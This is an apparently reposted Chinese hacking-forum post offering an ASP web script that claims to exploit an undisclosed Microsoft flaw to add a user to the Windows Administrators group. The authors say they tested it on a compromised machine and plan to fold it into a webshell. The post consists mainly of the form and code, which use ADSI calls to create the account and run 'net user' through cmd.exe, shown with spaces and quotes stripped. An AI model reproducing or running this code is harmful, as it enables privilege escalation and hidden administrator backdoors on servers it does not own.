添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]

　　添加超级用户的.asp代码[蓝屏的原创,凯文改进,Ms未公布的漏洞]
作者：蓝屏,凯文文章来源：冰点极限
其实上个礼拜我和凯文就在我的肉鸡上测试了,还有河马史诗.结果是在user权限下成功添加Administrators组的用户了(虽然我不敢相信我的眼睛).
上次凯文不发话,我不敢发布啊....现在在他的blog上看到他发布了,就转来了咯(比我上次测试时还改进了一点,加了个表单).这下大家有福咯```

反正代码是对的，但是很少能成功，具体的看运气了。。呵呵，下一步我想把他整合到海洋里面去。嘿嘿。
复制代码 代码如下:
<formaction=useradd.aspmethod=post>
用户:<inputname=usernametype=textvalue=kevin1986><br>
密码:<inputname=passwdtype=password><br>
<inputtype=submitValue=添加>
</form>

<%@codepage=936
onerrorresumenext
ifrequest.servervariables(REMOTE_ADDR)<>127.0.0.1then
response.writeiP!sn0TRiGHt
else
ifrequest(username)<>then
username=request(username)
passwd=request(passwd)
Response.Expires=0
Session.TimeOut=50
Server.ScriptTimeout=3000
setlp=Server.createObject(WSCRIPT.NETWORK)
Setob=GetObject(oz)
Setoe=GetObject(oz&/Administrators,group)
Setod=ob.create(user,username)
od.SetPasswordpasswd
od.SetInfo
oe.Addoz&/&username
iferrthen
response.write哎~~今天你还是别买6+1了……省下2元钱买瓶可乐也好……
else
ifinstr(server.createobject(Wscript.shell).exec(cmd.exe/cnetuser&username.stdout.readall),上次登录)>0then
response.write虽然没有错误,但是好象也没建立成功.你一定很郁闷吧
else
Response.writeOMG!&username&帐号居然成了!这可是未知漏洞啊.5,000,000RMB是你的了
endif
endif
else
response.write请输入输入用户名
endif
endif
%>